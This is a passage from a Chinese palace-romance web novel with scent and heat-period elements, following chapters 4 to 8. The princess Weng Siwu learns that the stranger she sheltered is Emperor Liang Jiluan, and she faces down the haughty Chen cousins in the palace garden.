不过还是隐隐察觉到附近那一片地方好似残留有那股气息的踪迹,于是挥退下人独自寻找,随着他越走越深,体内的热症突然袭击了他。
这几日的压抑克制的后果,就是造成发热期的强烈反扑。
兴许嗅到不明香气那日,他就已经在发作路上,只是症状还在潜伏,到今日追踪到这边才彻底爆发出来。
而发现他的人……
“怎么样,人醒了没有?”
“暂且没听见动静……”殿外响起两道交谈声,听脚步就知是这座殿里居住的主人回来了。
翁思妩缓步走进蓝春殿,然而倒了寝室前却不敢再往前,身形在屏风旁边站定,望着面前用来遮挡的翠色珠帘,打量前方,“公子醒了吗?”
她问的不大声,又纠结于会不会吵醒了对方,可是天色都快黑了,再不让对方醒来,一直留在她这里又不大好。
涉及名声,当然还是她自己的清誉更重要。
里面没声,翁思妩等了片刻,正要迈步进去,忽然想起什么又猛地站定。
她不能靠太近,或者说她其实很想连自己的寝居都退出去,这里面的气息太浓烈了,刚才回来的路上就已经叫她十分煎熬,浑身发软,燥燥的。
到现在她在外面待了许久,远离这个人还喝了默秋去备的清凉败火的茶水方才让她身体情况稳定下来。
她真的很怕再与对方接近会变得奇怪。
“公子?”翁思妩下定决心,保持着距离在寝室外喊:“公子再不醒,宫门就要关闭了。”
突地珠帘摇晃,发出碰撞脆响,一只手拨开帘幕,修长身影瞬间吸引了翁思妩的视线。
她呆愣住,像被震慑般,想不到清醒着的黑眸,比闭着眼更加有压迫感,清冽的好似能将万物洞穿,眉若刀裁,清正威仪。
这远远不像臣子该有的威仪,翁思妩失神地看着他游刃有余地穿过珠帘,沉稳迈近。
他与她对视,低沉淡定,“公子?你唤我。”
翁思妩觉得他气势太强,而跟她对比起来,她实在显得怯嫩娇生。
翁思妩开嗓的声音都变了,如受惊吓般,更细柔软,“是,对……你,你该走了。”
“此处是我的寝居,也是我的宫殿,公子为外男……应当避嫌,再晚怕是出不了宫了。”
翁思妩提醒他,一开始她猜想他应当是什么大臣,但现在见他气度不凡,又觉得他可能是什么有身份的世家王孙。
他最好不要在这里久留,好歹是后宫,免得造成误会。
然而,耐人寻味地反问出现。
梁寂鸾:“你的宫殿?”从他上位起,没有哪一个人会在一国之君面前说哪样东西属于自己。
更何况眼前的女子还不是这宫中真正的主人。
翁思妩听出反问的话音里的意味深长,她怔怔看过去,她有说错什么吗,倒是落日真的落下了,昏黄一片,
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将殿内照得明堂清晰,拉长两个人的黑影,交叠在一起。
梁寂鸾睇着地上的阴影,陡然问:“你后退什么?”
翁思妩脚步一顿,没想到她偷偷进行的动作会被发现,要怎么说她到现在还对他身上传来的气息不适应,凑太近,容易晕,脸还会发烫,双眼亮晶晶。
腿脚软无力。
翁思妩羞涩不想回答,看一眼殿外,“公子,既然你没事了,就真不该留在这了。”
她几乎请求地软声说,梁寂鸾顺着她的方向瞥了眼外面,确实太阳要下山了,而他根本没打算在此久留。
“我会走的,”梁寂鸾停下逼近的脚步,他看眼前的女子好像快喘不过气了,不知是因为他的威仪还是什么,梁寂鸾道:“但在离开之前,我想知道,你来这里多久了,可在这附近嗅到什么奇特的气息。”
翁思妩头晕发热的感觉又上来了,只期望对方赶快走,她难自抑,手不自禁攥紧衣角。
梁寂鸾一眼就被翁思妩的小动作吸引,那只造冶署打造的手镯衬得她肌肤雪白,很难不去注意。
而拥有特殊性,抑制气息泄露的红玉更应该戴在他身上。
但翁思妩说:“没有呀,不,不曾嗅到,你是说花香?”
她难受,想赶紧打发对方,她才是想知道对方捈了什么香,要了人命,“蓝春殿背后有一小片花果园,到了季节,花香果香,这殿里都会甜腻腻的。”
“我也是才来不久,你不要问了。”
她侧过身,仿佛有哪里不适,抬手扶着额头。
梁寂鸾的发热期在园子里爆发的突然而热烈,往日很难熬过去,这回当然也不例外,因为那股香气这次的发热期变得与以往不同,更为考验人,但有一点,虽然因那股气息的出现,他的发热期来的凶猛,不过好像也因此得到前所未有的安抚。
渴求得到一点满足,却拉出更大的缺口。
梁寂鸾逡巡一眼蓝春殿窗外的景象,确实花团锦簇,果实招摇,他鼻息间所能感受到的清甜香气已经淡去不少,而跟前戴着红玉手镯的年轻女子……
他不易察觉地动了动高挺的鼻梁,视线专注凝聚在她细嫩雪白的脖颈,尤其是后方,有引人择之而噬的冲动,她却始终侧着头不愿面对他。
身上也没有他能嗅到的香。
梁寂鸾不再浪费时间待在这里,将这些时日困扰在他心头的气息当做植物才散发出来的气味。
时机正确,巧合而已,才让他有失控的反应。
简称为,意外。
翁思妩见人终于舍得离开,远远跟在他身后,“殿里的侍女我都打发走了,不会有人知晓你来过。”
梁寂鸾哪能领会不到一个小女娘的心思,他蓦地在原地站定,用一种高深莫测翁思妩看不透的眼神打量她。
她根本不知道他是谁,还很避嫌怕事。
“你瞧着好像真的不舒服,”梁寂鸾:“不需要为你请御医看看吗,芙徽公主?”
“不用。”
翁思妩睁大双眸,“你……”他怎么会知道她的身份,她明明都没报过家门。
仿佛猜到她的所思所想,眼前男子深深看了她一眼,平静地收回目光,扯了下唇,一副莞尔不欲与她解释的样子。
她的玉镯是他赏赐,被赐之人却不识正主。
5. 第 5 章
一直到那道如玉竹般修长矜贵的身影离开,翁思妩还像痴了似的愣在路上。
风里有一丝清凉之意吹拂到她头上,对上默秋担忧的目光,翁思妩方才从头脑发热中回神。
默秋:“娘子怎么了?”
翁思妩:“你听见了吗,默秋,他到底是谁,怎会知道我身份?我都未和他互通姓名……”
默秋也觉得相当奇怪,默默看着翁思妩,表示回答不出来。
翁思妩忽地腰软,像脱离般往婢女身上靠去,发出一声解脱的娇叹,“只有我能闻到他身上的味道吗默秋?你真的一点都闻不到?”
“奴婢没有嗅到像娘子说的那样的气息,就像偶尔娘子能嗅到自己身上的香气,奴婢只有和他人一样,闻到的是寻常花香、熏香。”默秋如实以告。
翁思妩失了魂般喃喃道:“怎会这样,真是奇怪。”
默秋劝道:“娘子浑身出了汗,回屋歇息吧,别在这样的天里着了凉。”不冷不热,像发热症一样可就麻烦。
翁思妩也明白自身体质,乖乖跟着婢女回殿内。
片刻后,她的寝居。
默秋亲眼所见,翁思妩在碰到她的床后面色顷刻间涨的通红,指着被人睡过的锦被,泫然若泣的样子,被闻不见的气息冲的发懵,结巴控诉,“怎么,怎么还有……?”
默秋无可奈何:“在哪里呀娘子。”
翁思妩的状态仿若一直有人灌她酒。
她受不住,强烈感觉到吸引力,却止不住难受,在清醒和颠倒之间,最后实在无法,眼尾醺红,眼睁睁和默秋面对面,求诉无门,啪嗒啪嗒落下透明泪珠,“里面,在里面,都被睡过了默秋。”
“奴婢这就换了它!换床新的给娘子。”
翁思妩躲在屋内角落远远的,守着默秋给自己换被褥,等到婢女抱走旧的,窗户通通打开,翁思妩不再那么难受,从她今日突然这么不对劲的状况来看。
默秋犹豫良久,方才问:“娘子这么不舒服,会不会……是那个病又犯了?”
恍然大悟的翁思妩张着嘴,要哭不哭的神态楚楚可怜,所以她,有可能不是因为那个人身上的气味,而是她犯病了?
可是,以前也没有这个样子,难受到如斯地步。
经过一晚休息,翁思妩不仅不如前些天精神有力,反而瞧着像被风雨摧残过的花枝,不胜摧折,娇容恹恹,颓败却不失一丝秾丽。
陈太后也好似昨日的事都过去了,神色上看不出一点和今上发生不虞的意思,各方面都很正常,不减容华端庄,贵气盎然。
陈太后:“你这是夜里夜游去了,还是被什么迷了神,比哀家还要面露乏力?”
翁思妩在她眼里仿佛成了玩性重嗜熬夜的小娘子,长辈自然不喜欢这种赖床的,虽然翁思妩请安来得早,但整身都充斥着睡不好,没歇息够的疲累。
翁思妩:“我,姑母……阿妩夜里没有到哪里去,就只是长夜多梦,没安歇好。”
她难为情地底下脑袋,方才眼皮差点合上,才被陈太后发现她居然在偷睡。
陈太后打量她,以她对翁思妩的了解,她应是不敢对她说谎的,“是想家了?还是想起什么人,有心事?”
翁思妩咬唇纠结,收留外男有违宫规,她说还是不说……
翁思妩:“昨夜,翻到父亲留下的遗物,睹物思人所以就。”
她终于还是避重就轻回了话,欲言即止,恰到好处。
陈太后对蓝春殿发生的事一无所知,离得也远,依照翁思妩丧父家中只剩她一人的事实,就算说什么都会信。
果然,陈太后没继续追问,反倒安慰了她几句,“你是身边没有亲密之人相伴,会孤寂伤心倒也正常。”
她看翁思妩就像看从前的自己,多了些许耐心,“这么多日来你都待在宫中,缺点朋友,正好,端阳夫人远游归来,携带家眷前来探望哀家,你可以与他们多交交朋友。”
翁思妩不常出门,京中认识的人不多,“端阳夫人?”
陈太后:“端阳夫人出自郡中,她的丈夫是韦伯侯,膝下育有六子三女,你父亲在世做盐运使时,当时韦伯侯还做过他的副手,他们都是文采斐然的上林苑学子中的一员。”
除却这些身份,陈太后还有一重没说。
韦伯侯陈鸫丠还是当今圣上的亲舅舅,所以这一家皆是宗亲权贵来此。
陈太后:“昨日韦伯侯之子进宫过一次,他家中那几个兄弟姊妹皆与你年岁差不多,你定然能玩到一起去。”
翁思妩瞬间想到在园子里的偶遇,韦伯侯之子……会是那个携满身气息,俊眉修目的男子吗?
端看他衣着打扮就不像寻常人家,原来真是皇亲国戚。
昨夜翁思妩回房后,纵然默秋给她换了被褥,然而怎样都睡得不得安生,初始以为是对方的原因她才那么难过,谁知默秋一语点醒她,也许是她犯病了。
只是这次感受格外不同,尤为刺激,让她如同行走在危险边缘。
到了入寝时,躺在更换过的衾被里只是嗅到那隐隐残留的气息就被侵占哭了,令她辗转反侧,彻夜难眠。
好不容易度过艰难一夜,直到早上再喝了两副曾经大夫开过的药,以及吃了一小碟金银花草糕,身体内的燥意终于褪了个干净,现在身心才清凉许多。
脑子也不像昨日那样一团浆糊了。
陈太后:“他们过会才到,时辰还早,你要是打不起精神,就先在哀家殿里歇息会,等会耿珍会来叫你。”
耿珍便是陈太后身边的侍女官耿娘子,桂宫里的大小杂事都由她来管。
翁思妩实在疲乏了,顺从地接受了陈太后的安排,由侍女领着到偏殿卧房的软榻上躺下,盖上一层薄薄地云丝,枕着玉枕入眠,不到片刻,呼吸就变得平稳绵和。
软榻上的娇躯在窗花日光的照耀下,衣衫紧贴,展露出窈窕曼妙的身段曲线。
翁思妩不算浅眠,到底是宿在陈太后宫里,没有在拨给她的宫殿里歇息感到自在安心,还要守着规矩,她也不敢睡得太深,正殿里一有动静,谈笑声传来她便眨动睫毛被惊醒了。
正好侍女官前来唤她,“芙徽公主,该起了,贵人们已经到了。”
默秋也进来为她整理衣裳,隔壁一听就热闹不已,翁思妩想到韦伯侯之子也就是昨日她偶遇到的男子在里面,莫名地感到紧张。
他今天身上的气息应该不会影响她了吧。
“芙徽公主到。”
翁思妩一踏入正殿,就被好几双眼睛盯
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住,陈太后身边依偎着一个年岁与她相仿的小娘子,另有两个身量不一样高的年轻公子站在陈太后左边。
陈太后:“阿妩来了。”
她拍拍身旁的小女娘,示意她与翁思妩亲近,“瞧,这就是哀家与你们说的翁家娘子,她父亲乃前江塘盐运使,不止与你们父亲曾经是同僚,论身份,你们小辈之间还需互称表兄妹,阿妩可是唤我为姑母。”
陈家人在殿里目光都聚集在翁思妩身上,说好韦伯侯和端阳夫人育有六子三女,实则来的却是他们夫妻和三个子女。
翁思妩不知他们具体是什么关系,直到陈太后身边的女娘过来同她说话,方知刚才立在太后左边的是她两个兄长。
陈诗织:“那是我大兄陈诗予,比他小的是我二兄陈诗问,我兄妹三人都是我娘端阳夫人所出,你要想见我其他那几个兄弟姊妹,就要到我家去。”
她近距离观察翁思妩,透着几分傲气,“不过要去我家,须得你与我交好熟悉了才行,若是与我玩的来,我便邀你,给你下帖子,若是咱俩脾性不相投……”
她后面的话没讲出来,不过翁思妩听得出她的意思,这京都哪个世家贵女没有脾气傲性。
陈诗织家世远在他人之上,父亲是国舅,姑姑是太后,这难道不够高贵?也就是翁思妩父母已故,她势单力薄,否则也有这样拿乔的底气。
翁思妩笑笑:“我知道,陈娘子若想找我玩,无论是宅子还是宫里,我都方便。”
陈诗织盯着她的脸,过了片刻才下定夺,“你还不错。”
“不错什么?不过第一次见,阿织你可别欺负了人家。”不知何时身边多了两道往她们这边来的身影。
陈诗织满脸不悦地瞪向他们:“二兄,你浑说什么,我是那样娇蛮的人吗?”
陈诗问嬉笑着反问:“难道不是吗?”
另一个人影不曾理会他俩的胡闹,同翁思妩道:“舍妹无状,只是脾气大了些,并没有坏心思,刚才的话阿妩不要往心里去。”
翁家是没了人,可还有太后在,翁思妩又是她认下的义女,还被封了公主,也不是陈诗问可以随意无礼对待的。
翁思妩看清面前两个年轻公子的面孔,微微一怔,原来他们都是韦伯侯之子,却不是她想的那个“韦伯侯之子”。
陈诗问不是昨日她见到的那个人,替陈诗织说话的陈诗予亦不是,那她遇到的到底是谁?
没嗅到那让人魂牵梦萦又困扰的气息,她竟然会心生几分失落。
就在愣怔间,陈诗织与陈诗问还在争论不休,陈太后也在与韦伯侯端阳夫人说话,殿外忽然传来一连串请安声,“陛下万安。”
“拜见陛下,陛下万安。”
周围的话语声骤停,多双眼目聚集在门口。
翁思妩鼻尖微微沁出湿汗,心开始怦怦怦怦跳。
当今圣上,一国之君要来了?她入宫这么久,只在旁人口中听说过这位帝王的传闻,还从未见过真人,完全不知本尊会是什么样。
一个高大修长的墨色身影从门外缓缓走入,翁思妩陡然屏住呼吸。
比看清脸更让她熟悉的,是那若有似无窜入鼻息的草木灰燃烧带锈的气息。
朗朗威仪,墨眉玉面,竟然是他。
6. 第 6 章
太后宫中因帝王的到来跪了一地,除了尊位,所有人都出来觐见,架势让人不敢掉以轻心。
翁思妩是如此近距离感受到什么是天人之威,所有人的重心都挪到衣冠赫奕的人影身上,衬得他背后的宫阙峥嵘轩峻,蓊蔚洇润。
陈太后打破沉寂:“陛下来了。”
梁寂鸾的出现让当下的气氛不如刚才那般轻松活跃,好似大家都不约而同感到拘谨。
陈太后神色也淡淡的,在场的都是熟人,韦伯侯乃帝王亲舅舅,端阳夫人为舅母,陈家三个嫡系兄弟姊妹还得恭敬地称其为表兄,攀亲带故,没有一个不清楚现在梁寂鸾和太后的关系。
母子不和,表面功夫却要做。
陛下向来冷性,寡言少语,但做事从来不授人把柄,无论陈太后怎么跟他计较,结果就是她吃亏比较多。
就像现在这样,都知道昨日帝王才不留情面地让人处置了太后宫中的内侍,正惹陈太后生气着,结果他还是来了,并且在人前做的还不错。
梁寂鸾:“母后安康。”
他话音落,殿外就有侍人抬了东西进来,说:“给太后请安,陛下挂念太后,这么多年一直在操劳后宫,近来气候有变,冷热交替,会让人心情身体不适,特意命人寻来了有市无价的补品,还请太后娘娘过目。”
说罢就上前去给侍女官送上补品单目。
打开的箱子可以供殿内人瞧得一清二楚,货真价实,药香四溢,绝对称得上帝王对生母的一片浓厚孝心。
就是如此,即使陛下与太后之间再不和,表面功夫他从不会做错,而太后似乎也拿他这种作派毫无办法,只能被迫配合着皮笑肉不笑道:“真是叫你费心了。”
陈太后:“不过,春夏交替,季节难受影响心绪,也不仅是哀家一个,陛下也要时常留意身子才是,切莫操劳太过,伤了自己。”
梁寂鸾淡淡道:“母后说的是,说的言之有理。”
陈太后被他不温不火的态度噎着,想不通怎么会生出这种来,从小不怎么亲她也就罢了,大了以后还与她作对,气人有一套,真是白养了。
陛下与太后打了几个回合,短短机锋来往之间就已让殿里的其他人叹为观止。
不过帝王之家的家务事,是容不得他人看笑话的,是以众人都在气氛不对时纷纷垂下头,屏息凝神,恨不得钻进洞里的样子。
陈太后:“哼。”
时机恰当之时,韦伯侯适时地出来为母子解围,却是头对着帝王,话则是对陈太后说的,“陛下孝心仁厚,太后娘娘该高兴才是,臣等欣慰,如此和睦,是我大梁的福分。”
端阳夫人跟着附和:“是啊,太后有福,陛下康健,实乃天下黎民百姓之所愿,这气运定然能庇佑我大梁盛世安康。”
陈太后瞪眼,“看来,你们夫妻二人今日是来做和事佬的。”
梁寂鸾已经不是新帝了,他是个成熟的帝王,从梁氏祖先那里继承了有生具来的威仪,和数不清御下的手段,都知道他不好得罪,而太后终究是太后,不是一国之主,所以得由她来让步。
不要再当众驳了帝王面子,作为母族,千万不要将帝王越推越远。
陈太后脸色在片刻后缓和,韦伯侯趁此抓住时机殷勤道:“陛下万安,诗予、诗问、诗织,还不快向陛下问安。”
韦伯侯两个嫡子,陈诗予正处于需要入仕的阶段,陈诗问还在国子监读学,论道理以韦伯侯、陈太后的关系,陈诗予陈诗问应当和梁寂鸾也亲近。
然而事实上,梁寂鸾和谁都保持着距离。
他最年长,陈诗予小他一岁,陈诗问次之,二人到了梁寂鸾跟前乖顺有礼的就如家臣,“诗予、诗问见过陛下,陛下万安。”
梁寂鸾坦然受着他们的礼,神情寡淡,语调如纳凉的温水般,“嗯,起身吧。”
这边刚见完礼,端阳夫人道:“还有诗织呢!诗织……”她回头,发觉还漏了一个,“对,还有芙徽公主呢,快来。”
猝不及防地点名将其他人的视线都吸引过去。
翁思妩瞬间和梁寂鸾对上目光,眼神里都发现对方是彼此见过的人,翁思妩怎样都想不到被她偶遇到的会是一国之主。
陈太后口中的“不孝子”,侍女官口中的令人闻风丧胆的国君,而她昨日还刚与他近距离接触过。
翁思妩拖着步履缓慢跟在陈诗织身后上前,方才还一脸傲气的陈诗织同她两个兄长一样,忽然一下变安静乖巧许多,“阿织见过陛下。”
陈家子女连一声亲近的“表兄”都不敢喊,可见他们与梁寂鸾之间身份上的规矩深重。
翁思妩一想昨日对当今帝王的冒犯,心中忧虑不知会不会被怪罪,问安时慢了半拍。
等到周围一静,大多视线很明显地凝聚到她身上,翁思妩才反应过来,正要学着陈诗织下跪行礼,“臣女参见……”
谁都没料到淡漠惹人敬畏的九五之尊会打断她,“母后为之向朕请封的,原来就是这位娘子么?”
众人微讶,封号都是梁寂鸾亲封的,他难道还没见过翁思妩的人吗?
陈太后:“陛下公事繁忙,日理万机,一直不得空闲来一趟,哀家不好叨扰你,没见过阿妩亦是正常,她的确就是翁家的女儿,翁思妩。”
“论身份,现在她也该当是你’阿妹‘了,一直娘子娘子的叫,岂不是显得太生疏?”
宫规等级规定,凡面见帝王者,除太皇、太后等直系长辈、血缘外,其余者皆得下跪行礼。
梁寂鸾不知是否有听进陈太后说的话,翁思妩等得双脚发麻,她又再一次闻到了他身上传来的味道,是温淡的持续长久的焚烧殆尽后的余烬气息,夹杂一点浓烈冰冷的残锈痕迹,罕见无比。
是另一种意义上的“好闻”,激发人的生理。
翁思妩无法判断是不是她的病又发作了,她嗅着这样的气息,双腿情不自禁地发软,甚至细微地在颤,如果不是身下有衣裙,她的身体反应肯定会被人发
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现。
她视线恍惚地对准了前方矜贵身影的脖颈,就好像气息是从那里传递出来的,可是帝王的脖子被衣领掩盖紧实,他又生得高,要是仰头紧盯……
“阿妩,阿妩?你是在发什么呆?”
翁思妩猛地回神,发觉陈诗织等人看她的眼神充满不可思议。
她惊慌到脸红,难道是她刚刚所想被察觉到了。
然而端阳夫人说:“芙徽公主,陛下说即是自己人,以后就不用跪他了,还不快谢恩呐?!”
所有人都下了跪,亲舅舅亲舅母都在所难免,却唯独出现个翁思妩例外。
她感到受宠若惊地望向梁寂鸾,不轻易言笑的一国之君眸色黑暗,沉静而幽深的凝视着她,“多,多谢……阿妩多谢陛下。”
她声音细碎,听得出里面的惶然羞涩,宛若蚊子的哼唧声。
陈太后笑着说:“还是不熟悉,等多接触些时日就好了。”
翁思妩腼腆地垂下脑袋,从秀气的耳垂到脖颈,雪白的肌肤被气血渲染出一片刚升出的绯红。
这会陈太后与端阳夫人和韦伯侯已然提起别的话题,作为帝王的梁寂鸾虽然地位尊崇,但对这些对话好似并没有太多的参与感。
翁思妩好不容易从尴尬中挣脱,就见陈诗织一改之前盛气凌人的姿态,居然向她邀约,“阿妩,你带我到宫里花园中转转吧。”
端阳夫人好似一直有留意这边,闻言提议,“好啊,即是新认识的姐妹,应当多交好才是,诗予诗问也都去吧?”
都去?
翁思妩抬头,一不小心落入一双如墨的眼睛里。
她不太确定,慌张撇开,又悄悄瞄回去,发觉梁寂鸾当真是在看她。
可他又在看什么呢?
在端阳夫人与他们说话交代间,韦伯侯与陈太后离近了说话,各自不约而同地放低音量,“你见过她了,怎样,如何?”
韦伯侯侧身偏向陈太后,余光将沉思脸红、不知所措的娇女身影纳入眼中,似是都忽略了在他们旁边静坐无声的年轻帝王。
韦伯侯点头称赞,“翁氏果然尽出美人,娘娘要她为自己所用,嫁个好人家,可有想好将她许配给哪家的公子?”
陈太后意有所指:“还未定夺,不过,有好几家倒是有意投诚,向本宫抛过揽枝……”
梁寂鸾始终沉默,韦伯侯跟太后悄声密谋,以为他听不见。
昨日他回去后,应对那发热期中的狂躁似乎好了许多,那缕寻不见的独特香甜气息如有安抚之效,然而引来的是帝王内心深处,更隐晦深邃的饥渴。
短暂的情绪稳定是一时的,下一回再寻不到拥有这样气味的人,目前的平静定然会在顷刻间覆灭。
翁家女的住处不见这样的人选,却有这样的香。
这最是奇怪,而且……方才无人注意的时候,翁家女在他跟前举止怪异,藏在衣裙中的身子细细轻颤,俨然一副——
正在经历一场春潮的样子。
7. 第 7 章
从宫殿里出来,一远离了长辈们,陈诗织等人的气色都不同了,肉眼可见地变得放松。
陈诗织轻吐一口浊气,转头向兄长们诉苦水,“这宫可一日比一日难进,偏父亲阿娘只要有机会觐见就要带上我们,定要在表兄那里混个脸熟才行。”
“可你们看,都多少年了,虽不常见,我们也是与表兄从小一起长大过来的,表兄对我们可有一次亲近过?不都是平平淡淡的,哪有亲戚间该有的熟悉情分。”
“我看啊,这次父亲阿娘又白费心思了。”
陈诗予督促陈诗织闭嘴,“阿织,谨言慎行,别忘了这是在哪里。”
陈诗问笑嘻嘻说:“还没出宫门呢,你也胆敢非议他,当时你怎么不敢当面说呢?”
陈诗织受不了地跺脚,“你又拆我台,二哥,我到底是不是你妹妹?”
陈诗问为躲避与陈诗织的打闹,不小心将一道娇软的身躯撞到,陈诗予眼疾手快去接,“芙徽公主,小心。”
翁思妩陪他们出来,一个人势单力薄,又是刚认识不是很熟,是以陈家兄妹说话时她并没有插嘴。
而且议论的人还是当今陛下,这种惹祸的错事,她定然不会参与。
结果他们还是不小心波及到她,翁思妩无辜被打扰,根本来不及闪躲,而陈诗问年轻好动,少年郎的力气和敏捷都非翁思妩这样柔弱的小娘子可比。
她被绊了一脚,仓促中手腕还被拉扯了一下,整个人天旋地转,就要朝地上栽去。
背后一棵树伸出的枝芽勉强接住了她,陈诗予也撑住了她的后背,“芙徽公主,你怎么样?”
翁思妩受到不小的惊吓,没有说话,只拽紧了树枝靠在树下气息凌乱,轻轻喘气。
“诗问,诗织,”陈诗予发了火气,命令弟妹二人,“早说宫中不可乱来忘了规矩,还不快向芙徽公主赔罪。”
陈诗织头一次被当着外人训,脸色一时白了又红。
她面薄还想保留点颜面,看向翁思妩:“不是……没什么大事吗?都怪二哥!”
陈诗予语调一沉:“诗织,我不想再说一遍。”
“大哥……”
陈诗问:“还是我来吧。”
陈诗问上前走到喘气歇息的翁思妩跟前,他是个眼高于顶,表面却爱笑的少年,其实论身份他们几个人当中,翁思妩的身份分量根本算不上什么。
陈家更尊贵,太后、天子的母族,即使到了宗亲跟前,一样要受三分礼待。
就是不知他们大哥怎么就这么较真,偏要他们向一个异姓公主赔罪。
陈诗问半弯了点腰,猛地伸头到翁思妩跟前,属于少年的俊俏顾盼神飞,“方才与阿织打闹,让公主受惊了,是我之过,阿妩妹妹,可否原谅我和阿妹,下回肯定不会再连累你了。”
“你若不肯原谅,你看我们大哥,少不得让我与阿织要受训了,好妹妹,你真舍得我们兄妹遭长兄为难吗?”
陈家人都颇有姿色,不然陈太后也做不了太后。
陈诗问三兄妹长相亦不丑,各有千秋,陈诗予俊逸朗朗,陈诗问英气居多,陈诗织明艳大胆。
有如此贵气灵动的少年郎在跟前一口一个“好妹妹”,不停说情,几乎没有哪个女子受得了,像翁思妩这样养在深闺交友不多,性格又软的女孩子更容易好哄。
然而,显白而漂亮的手借着手里紧握的树枝,轻轻在陈诗问的脸前掸了一下。
成功看着那张有意讨巧的少年脸庞惊讶避让,翁思妩偏头道:“我觉得陈大公子说得对,此地不是陈家的内宅,而是大梁的王宫。”
“莫说天下,你我所站脚下的这片土地,哪个不是为它主人所拥有?”
“二公子和陈娘子出身陈家,虽是太后、陛下的母族,高门显贵,但是君是君,臣是臣,不可乱了礼数。”
翁思妩:“三位不可忘了,我不仅是翁家女,还是陛下亲封的‘公主’,连太后都说陛下该称我为‘阿妹’,你们当着我的面,议论我阿兄,可就对?”
“你们可还清楚他是谁?尊卑呢?”
翁思妩温声细语慢慢道来,她气息平静下来,日光下树荫半遮半掩中,她的脸秀白透亮,黛眉纤细,面颊残留一丝宛若血气的粉晕。
如此镇定,简直叫人大开眼界。
当下陈氏兄妹三人看她的眼神表情都发生转变,想不到瞧着人畜无害娇娇柔柔的翁思妩,竟然也不是那等没有性子的真傻子。
而且她说的并不是毫无根据,句句言辞有理,更是间接提醒了他们,可别忘乎所以。
哪怕是背后倚仗着太后,可他们将要面对的是在太后之上更有权威的帝王呢?
陈诗予打破如死般的静默,“阿妩说得对,都是我们糊涂了。”
他对着翁思妩的态度,忽然变得和先前有那么点不同,连“芙徽公主”也不称呼了,自然而然拉近与她之间的距离。
陈诗问更是定定观察着翁思妩,突地粲然一笑,眸中兴趣横生,“阿妩妹妹,真是个妙人,我大哥说的是,刚才只是着相了,阿织她也是无心之言。”
“你是不知,我们都是陛下的表亲,也渴望与陛下亲近,不过表兄他性子使人,待谁都一样,阿织只是受挫罢了。阿妩妹妹,你也别太往心里去。”
陈家人陈诗予少言偏稳重,陈诗问更巧言善辩外放些。
陈诗织到现在清楚知道不是她意气用事的时候,到底是贵女出身,通晓分寸再不高兴也没上前跟翁思妩议论。
翁思妩方才被无礼对待的微火也发泄出来,柔声说:“哪里就往心里去呢,大家做人,心如明镜,是否真是那样的,自己清楚就好了。”
话音落地,陈家兄妹三人神色上纷纷展露着被语出惊人的震撼与沉默。
“哈……”
“真是出乎意料。”
没人知道,在通往太后宫殿与花园的路上还有另一条曲径通幽的小道。
陈诗问等人背对着的身后,丁松泉望着有青松遮掩的前方几个身影,一边余光觑着看不到神情的梁寂鸾,说:“这翁娘子,可真会啊。好一副伶牙利嘴,真是人不可貌相。”
凭他们第一眼就能看出翁家这个小女娘,她确实是乖顺的。
而且据
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丁松泉所知,翁家关系复杂,翁校仲出身嫡系,却与家中叔伯舅母都不亲,他家就一个女儿,妻子病弱,英年早逝,而他一个寡夫独自抚养独女,多年来都不曾续弦,堪称深情。
这样的家庭养出来的女子定然是十分“贤惠“的。
换句话说,有很大可能会怕事,甚至不懂许多规矩,一个家中若是没有主母,下面的子女就不可能有好的教养,执掌中馈、管家接待、为人处世这些都要做主母的阶层以及眼界底气去言传身教,方能培养出一个真正的世家贵女。
仅是替代,管教,远不可能养出这样的品性。
而眼下,这个在所有人眼中第一印象就是娇柔像朵小白花的女娘,她并不像外人所想的那样容易摧折,等伤到了肉里,才知花枝上长满了尖锐的刺棱,扎起来生疼。
意识到翁思妩不是只任人宰割的白兔子,陈家兄妹对她的态度彻底起了变化,以陈诗问表现最甚。
他对翁思妩短短一瞬间,可以说是姿态殷勤,从之前的漫不经心,到现在居然开始围着翁思妩转,而陈诗予竟然也不觉得有什么不对,兄弟间对她的称呼都改了口。
陈诗织碍于之前被翁思妩所说的吓唬住,对她多了几分忌惮,不再像刚才那样口无遮拦,轻狂跳脱。
陈诗问:“阿妩妹妹,你……”
忽而一道声音打断他,“前面可是芙徽公主、陈家公子和娘子?”
丁松泉不知何时从另一个口子出现,他的禁卫统领的衣服及腰牌很好的昭示了他的身份。
陈诗予率先道:“是丁统领。”
陈家人来宫中机会不少,对梁寂鸾身边也熟,丁松泉一出现就让他们紧张起来,疑心之前发生的事有没有被此人知道。
帝王身边从不缺爪牙,而丁家向来就是侍奉追随梁氏君主的鹰犬。
若不是丁松泉陡然现身,真叫他们差点忘了,翁思妩说的一点错都没有,他们就是仗着陈家的身份,以及与梁寂鸾的亲缘关系,方才忘了规矩。
这是在帝宫,不是什么人都能进来,也不是什么话都能讲的地方。
陈诗予:“不知丁统领有何贵干?”
丁松泉:“不是在下,在下亦不过是来传话。”
能传唤一介禁卫统领做事的人还能有谁?
丁松泉面带微笑,向面色惊讶看着他的年轻公子女娘道:“是陛下,两位公子和陈小娘子许久未来宫里一趟,好不容易齐聚一堂,陛下今日正当闲,愿意与表弟妹叙叙旧,谈谈心,诸位可往?”
之前几人对梁寂鸾态度不够热络还颇有微词,现下都面面相觑,变得古怪起来。
难不成真有顺风耳,千里眼?
丁松泉在旁虎视眈眈,令陈诗予等人不敢不应,又无退路,只好咬着牙答应,“好,我们这就……赴约。”
而他倏地转头,冷不丁对一旁又一副娴雅如花的娇小娘子道:“芙徽公主也去吧。”
本不关事的翁思妩诧然一惊,“我,我?”
丁松泉留下耐人寻味地话语:“是啊,陛下指明让你也去,就是忘了谁都不可能忘了芙徽公主。”
8. 第 8 章
这一路上,由丁松泉领着赴宴,陈氏兄妹与翁思妩心思各异,面上不显,实则都有些惴惴不安的预感。
仿佛即将前往的是什么鸿门宴。
更想不起,他们不久前还为此争执不满地说,帝王表兄性子冷淡,与他们这些表亲不亲。
现在梁寂鸾终于肯与他们亲近了,一个两个却变得忧虑迟疑。
倒是翁思妩,反应还算镇定,但在听见帝王指明她也要到场后,表情明显变得不自然,瞳孔微颤,神色纠结。
离开太后所居的桂宫,丁松泉带着他们越走越远,甚至已经不在陈太后的地盘范围内。
墙花路草渐渐陌生,曲径越来越长,周围盯视他们,巡视把守的禁军侍卫越来越多,无声弥漫着鞭笞天下傲睨万物的气势,从未私下见过梁寂鸾的陈氏兄妹已然完全变得拘束。
“怎么,越走越远……”
陈诗织紧跟在兄长身旁,“丁统领,还没到吗?”
整场祸是由她先开始惹出来的,论心虚,没人比陈诗织感觉更甚了。
